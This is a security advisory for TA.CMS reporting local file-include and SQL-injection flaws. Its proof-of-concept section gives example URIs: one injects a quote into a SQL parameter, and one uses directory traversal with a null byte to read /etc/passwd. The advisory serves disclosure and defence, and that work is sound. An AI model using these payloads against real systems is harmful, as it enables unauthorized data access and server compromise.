TA.CMS Local File Include and SQL Injection Vulnerabilities
BID:50773
Info
TA.CMS Local File Include and SQL Injection Vulnerabilities
| Bugtraq ID: | 50773 |
| Class: | Input Validation Error |
| CVE: | |
| Remote: | Yes |
| Local: | No |
| Published: | Nov 22 2011 12:00AM |
| Updated: | Nov 22 2011 12:00AM |
| Credit: | CoBRa_21 |
| Vulnerable: |
TeachArabia TA.CMS 0 |
| Not Vulnerable: | |
Discussion
TA.CMS Local File Include and SQL Injection Vulnerabilities
TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities.
An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.
TA.CMS is prone to multiple local file-include and SQL-injection vulnerabilities.
An attacker can exploit these issues to compromise the application, access or modify data, exploit latent vulnerabilities in the underlying database, and view and execute arbitrary local files within the context of the webserver.
Exploit / POC
TA.CMS Local File Include and SQL Injection Vulnerabilities
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/index.php?p_name=events_item_view&id=17' SQL
http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60
Attackers can use a browser to exploit these issues.
The following example URIs are available:
http://www.example.com/index.php?p_name=events_item_view&id=17' SQL
http://www.example.com/?lang=../../../../../../../../../../../../../../../etc/passwd%00.png&p_id=60
Solution / Fix
TA.CMS Local File Include and SQL Injection Vulnerabilities
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
Solution:
Currently, we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].
References
TA.CMS Local File Include and SQL Injection Vulnerabilities
References:
References:
- TA.CMS Homepage (TeachArabia)